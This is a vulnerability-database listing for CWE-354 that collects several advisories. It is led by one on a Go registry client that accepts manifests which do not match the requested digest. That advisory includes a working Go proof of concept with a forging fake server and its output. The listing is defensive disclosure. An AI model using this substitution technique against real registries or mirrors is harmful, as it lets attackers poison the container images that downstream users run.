Common Weakness Enumeration

CWE-354

Allowed

Improper Validation of Integrity Check Value

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

288 vulnerabilities reference this CWE, most recent first.

GHSA-685W-Q87J-WQW3

Vulnerability from github – Published: 2026-10-15 20:22 – Updated: 2026-10-15 20:22
VLAI
Summary
Distribution: Client `manifests.Get()` does not verify returned content against requested digest
Details

Summary

registry/client.(*manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.

Details

Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.

Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with: 1. Docker-Content-Digest: <requested-digest> (forged header) 2. A body containing a different, attacker-chosen manifest

The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.

Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.

Relevant code path (repository.go, simplified):

// line ~496
func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {
    ...
    resp, err := ms.client.Get(u)
    ...
    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check
    ...
    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes
    return m, err
}

PoC

go.mod:

module poc

go 1.24.10

require (
        github.com/distribution/reference v0.6.0
        github.com/docker/distribution v2.8.3+incompatible
        github.com/opencontainers/go-digest v1.0.0
)

require (
        github.com/beorn7/perks v1.0.1 // indirect
        github.com/docker/go-metrics v0.0.1 // indirect
        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect
        github.com/golang/protobuf v1.3.2 // indirect
        github.com/gorilla/mux v1.8.1 // indirect
        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect
        github.com/opencontainers/image-spec v1.1.1 // indirect
        github.com/prometheus/client_golang v1.1.0 // indirect
        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect
        github.com/prometheus/common v0.6.0 // indirect
        github.com/prometheus/procfs v0.0.3 // indirect
        github.com/sirupsen/logrus v1.9.4 // indirect
        golang.org/x/sys v0.13.0 // indirect
)

main.go:

// PoC: registry/client manifests.Get() does not verify the requested digest
// against the returned body. A malicious registry (or MITM) can serve
// arbitrary content for a digest-pinned manifest reference and the client
// will accept it.
package main

import (
        "context"
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/distribution/reference"
        "github.com/docker/distribution/manifest/schema2"
        "github.com/docker/distribution/registry/client"
        "github.com/opencontainers/go-digest"
)

// A real, "trusted" manifest the user pinned by digest.
var trustedManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
   "layers": []
}`)

// A different, attacker-controlled manifest the malicious server returns instead.
var evilManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"},
   "layers": []
}`)

func main() {
        pinnedDigest := digest.FromBytes(trustedManifest)
        evilDigest := digest.FromBytes(evilManifest)
        fmt.Println("client requests manifest pinned at:", pinnedDigest)
        fmt.Println("server will instead return content :", evilDigest)

        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // Lie: claim the digest matches what was asked, but serve evil bytes.
                w.Header().Set("Content-Type", schema2.MediaTypeManifest)
                w.Header().Set("Docker-Content-Digest", pinnedDigest.String())
                w.WriteHeader(200)
                w.Write(evilManifest)
        }))
        defer srv.Close()

        name, _ := reference.WithName("library/alpine")
        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)
        if err != nil {
                panic(err)
        }
        ms, _ := repo.Manifests(context.Background())

        // Fetch by *digest* — caller expects content-addressed integrity.
        m, err := ms.Get(context.Background(), pinnedDigest)
        if err != nil {
                fmt.Println("Get error:", err)
                return
        }
        _, payload, _ := m.Payload()
        got := digest.FromBytes(payload)

        if got != pinnedDigest {
                fmt.Println()
                fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest")
                fmt.Println("    requested:", pinnedDigest)
                fmt.Println("    received :", got)
        } else {
                fmt.Println("OK: digest verified")
        }
}

Output (v2.8.3+incompatible):

client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

>>> BYPASS: client accepted manifest that does NOT match requested digest
    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

Impact

Any application that calls registry/client.(*manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.

An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.

Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/distribution"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/distribution/distribution/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:22:02Z",
    "nvd_published_at": "2026-10-13T19:21:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`registry/client.(*manifests).Get(ctx, dgst, \u2026)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity \u2014 image policy controllers, mirrors, pull-through caches \u2014 is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable.\n\n### Details\n\n**Root cause:** `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied \u2014 it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.\n\n**Attack path:** An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with:\n1. `Docker-Content-Digest: \u003crequested-digest\u003e` (forged header)\n2. A body containing a different, attacker-chosen manifest\n\nThe client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker\u0027s manifest as if it were the pinned content, and the caller has no way to detect the substitution.\n\n**Why it matters:** The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification \u2014 so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.\n\nRelevant code path (`repository.go`, simplified):\n```go\n// line ~496\nfunc (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {\n    ...\n    resp, err := ms.client.Get(u)\n    ...\n    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check\n    ...\n    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes\n    return m, err\n}\n```\n\n### PoC\n\n**go.mod:**\n```\nmodule poc\n\ngo 1.24.10\n\nrequire (\n        github.com/distribution/reference v0.6.0\n        github.com/docker/distribution v2.8.3+incompatible\n        github.com/opencontainers/go-digest v1.0.0\n)\n\nrequire (\n        github.com/beorn7/perks v1.0.1 // indirect\n        github.com/docker/go-metrics v0.0.1 // indirect\n        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect\n        github.com/golang/protobuf v1.3.2 // indirect\n        github.com/gorilla/mux v1.8.1 // indirect\n        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect\n        github.com/opencontainers/image-spec v1.1.1 // indirect\n        github.com/prometheus/client_golang v1.1.0 // indirect\n        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect\n        github.com/prometheus/common v0.6.0 // indirect\n        github.com/prometheus/procfs v0.0.3 // indirect\n        github.com/sirupsen/logrus v1.9.4 // indirect\n        golang.org/x/sys v0.13.0 // indirect\n)\n```\n\n**main.go:**\n```go\n// PoC: registry/client manifests.Get() does not verify the requested digest\n// against the returned body. A malicious registry (or MITM) can serve\n// arbitrary content for a digest-pinned manifest reference and the client\n// will accept it.\npackage main\n\nimport (\n        \"context\"\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/distribution/reference\"\n        \"github.com/docker/distribution/manifest/schema2\"\n        \"github.com/docker/distribution/registry/client\"\n        \"github.com/opencontainers/go-digest\"\n)\n\n// A real, \"trusted\" manifest the user pinned by digest.\nvar trustedManifest = []byte(`{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\"mediaType\": \"application/vnd.docker.container.image.v1+json\",\"size\": 1,\"digest\": \"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"},\n   \"layers\": []\n}`)\n\n// A different, attacker-controlled manifest the malicious server returns instead.\nvar evilManifest = []byte(`{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\"mediaType\": \"application/vnd.docker.container.image.v1+json\",\"size\": 1,\"digest\": \"sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\"},\n   \"layers\": []\n}`)\n\nfunc main() {\n        pinnedDigest := digest.FromBytes(trustedManifest)\n        evilDigest := digest.FromBytes(evilManifest)\n        fmt.Println(\"client requests manifest pinned at:\", pinnedDigest)\n        fmt.Println(\"server will instead return content :\", evilDigest)\n\n        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n                // Lie: claim the digest matches what was asked, but serve evil bytes.\n                w.Header().Set(\"Content-Type\", schema2.MediaTypeManifest)\n                w.Header().Set(\"Docker-Content-Digest\", pinnedDigest.String())\n                w.WriteHeader(200)\n                w.Write(evilManifest)\n        }))\n        defer srv.Close()\n\n        name, _ := reference.WithName(\"library/alpine\")\n        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)\n        if err != nil {\n                panic(err)\n        }\n        ms, _ := repo.Manifests(context.Background())\n\n        // Fetch by *digest* \u2014 caller expects content-addressed integrity.\n        m, err := ms.Get(context.Background(), pinnedDigest)\n        if err != nil {\n                fmt.Println(\"Get error:\", err)\n                return\n        }\n        _, payload, _ := m.Payload()\n        got := digest.FromBytes(payload)\n\n        if got != pinnedDigest {\n                fmt.Println()\n                fmt.Println(\"\u003e\u003e\u003e BYPASS: client accepted manifest that does NOT match requested digest\")\n                fmt.Println(\"    requested:\", pinnedDigest)\n                fmt.Println(\"    received :\", got)\n        } else {\n                fmt.Println(\"OK: digest verified\")\n        }\n}\n```\n\n**Output (v2.8.3+incompatible):**\n```\nclient requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de\nserver will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e\n\n\u003e\u003e\u003e BYPASS: client accepted manifest that does NOT match requested digest\n    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de\n    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e\n```\n\n### Impact\n\nAny application that calls `registry/client.(*manifests).Get()` with a digest argument \u2014 and relies on that digest to guarantee which image content it receives \u2014 is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security.\n\nAn attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content \u2014 changing image layers, entrypoints, or referenced blobs \u2014 and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.\n\nExploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.",
  "id": "GHSA-685w-q87j-wqw3",
  "modified": "2026-10-15T20:22:02Z",
  "published": "2026-10-15T20:22:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/distribution/distribution/security/advisories/GHSA-685w-q87j-wqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/distribution/distribution/commit/8f91c26c8888a95a36c2357a6e30bc15d4dd76d3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/distribution/distribution/commit/960439b09f342cdeb8f1c0e18e8c7349bdcfbf80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/distribution/distribution"
    },
    {
      "type": "WEB",
      "url": "https://github.com/distribution/distribution/releases/tag/v3.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Distribution: Client `manifests.Get()` does not verify returned content against requested digest"
}

GHSA-6WVF-F2VW-3425

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2025-02-25 18:39
VLAI
Summary
github.com/containers/image allows unexpected authenticated registry accesses
Details

A flaw was found in the github.com/containers/image library. This flaw allows attackers to trigger unexpected authenticated registry accesses on behalf of a victim user, causing resource exhaustion, local path traversal, and other attacks.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/image"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/image/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.30.0"
            },
            {
              "fixed": "5.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/image/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.29.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-14T21:38:29Z",
    "nvd_published_at": "2024-05-14T15:42:07Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the github.com/containers/image library. This flaw allows attackers to trigger unexpected authenticated registry accesses on behalf of a victim user, causing resource exhaustion, local path traversal, and other attacks.",
  "id": "GHSA-6wvf-f2vw-3425",
  "modified": "2025-02-25T18:39:25Z",
  "published": "2024-05-14T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3727"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/image/commit/132678b47bae29c710589012668cb85859d88385"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/image/commit/e8948046055060605bd68289d406ce149590c33a"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:0045"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9098"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9102"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9960"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-3727"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2274767"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6wvf-f2vw-3425"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/containers/image"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/image/releases/tag/v5.29.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containers/image/releases/tag/v5.30.1"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4HEYS34N55G7NOQZKNEXZKQVNDGEICCD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6B37TXOKTKDBE2V26X2NSP7JKNMZOFVP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CYT3D2P3OJKISNFKOOHGY6HCUCQZYAVR"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DLND3YDQQRWVRIUPL2G5UKXP5L3VSBBT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DTOMYERG5ND4QFDHC4ZSGCED3T3ESRSC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FBZQ2ZRMFEUQ35235B2HWPSXGDCBZHFV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD2GSBQTBLYADASUBHHZV2CZPTSLIPQJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QFXMF3VVKIZN7ZMB7PKZCSWV6MOMTGMQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SFVSMR7TNLO2KPWJSW4CF64C2QMQXCIN"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3718"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4159"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4613"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4850"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4960"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:5258"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:5951"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6054"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6122"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6708"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6818"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6824"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:7164"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:7174"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:7182"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:7187"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:7922"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:7941"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:8260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:8425"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9097"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "github.com/containers/image allows unexpected authenticated registry accesses"
}

GHSA-757V-57MW-8GQ9

Vulnerability from github – Published: 2024-08-08 18:31 – Updated: 2024-08-19 21:35
VLAI
Details

Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR10 fails to validate /etc/mtab during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system's hard disk.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-08T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR10 fails to validate /etc/mtab during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system\u0027s hard disk.",
  "id": "GHSA-757v-57mw-8gq9",
  "modified": "2024-08-19T21:35:07Z",
  "published": "2024-08-08T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24063"
    },
    {
      "type": "WEB",
      "url": "https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption-white%20paper.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.dieboldnixdorf.com/en-us/banking/portfolio/software/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CF5-CV98-V7J6

Vulnerability from github – Published: 2025-12-22 06:30 – Updated: 2026-01-15 21:31
VLAI
Details

Improper Validation of Integrity Check Value vulnerability in Sharp Display Solutions projectors allows a attacker may create and run unauthorized firmware.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.5 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-22T05:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Validation of Integrity Check Value vulnerability in Sharp Display Solutions projectors allows a attacker may create and run unauthorized firmware.",
  "id": "GHSA-7cf5-cv98-v7j6",
  "modified": "2026-01-15T21:31:42Z",
  "published": "2025-12-22T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11543"
    },
    {
      "type": "WEB",
      "url": "https://sharp-displays.jp.sharp/global/support/info/PJ-CVE-2025-11540.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7FJP-X968-HG59

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41
VLAI
Details

There is an insufficient integrity check vulnerability in Huawei Sound X Product. The system does not check certain software package's integrity sufficiently. Successful exploit could allow an attacker to load a crafted software package to the device. Affected product versions include:AIS-BW80H-00 versions 9.0.3.1(H100SP13C00),9.0.3.1(H100SP18C00),9.0.3.1(H100SP3C00),9.0.3.1(H100SP9C00),9.0.3.2(H100SP1C00),9.0.3.2(H100SP2C00),9.0.3.2(H100SP5C00),9.0.3.2(H100SP8C00),9.0.3.3(H100SP1C00).

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-9118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-06T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "There is an insufficient integrity check vulnerability in Huawei Sound X Product. The system does not check certain software package\u0027s integrity sufficiently. Successful exploit could allow an attacker to load a crafted software package to the device. Affected product versions include:AIS-BW80H-00 versions 9.0.3.1(H100SP13C00),9.0.3.1(H100SP18C00),9.0.3.1(H100SP3C00),9.0.3.1(H100SP9C00),9.0.3.2(H100SP1C00),9.0.3.2(H100SP2C00),9.0.3.2(H100SP5C00),9.0.3.2(H100SP8C00),9.0.3.3(H100SP1C00).",
  "id": "GHSA-7fjp-x968-hg59",
  "modified": "2022-05-24T17:41:13Z",
  "published": "2022-05-24T17:41:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9118"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20210113-01-ais-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7J39-H6J3-5G47

Vulnerability from github – Published: 2025-11-14 18:31 – Updated: 2025-11-14 18:31
VLAI
Details

An insufficient validation of an untrusted input vulnerability in Palo Alto Networks Prisma® Browser allows a locally authenticated non-admin user to revert the browser’s security controls.

Severity
1.1 (Low)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/AU:N/R:U/V:D/RE:M/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-4616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-14T18:15:47Z",
    "severity": "LOW"
  },
  "details": "An insufficient validation of an untrusted input vulnerability in Palo Alto Networks Prisma\u00ae Browser allows a locally authenticated non-admin user to revert the browser\u2019s security controls.",
  "id": "GHSA-7j39-h6j3-5g47",
  "modified": "2025-11-14T18:31:39Z",
  "published": "2025-11-14T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4616"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2025-4616"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
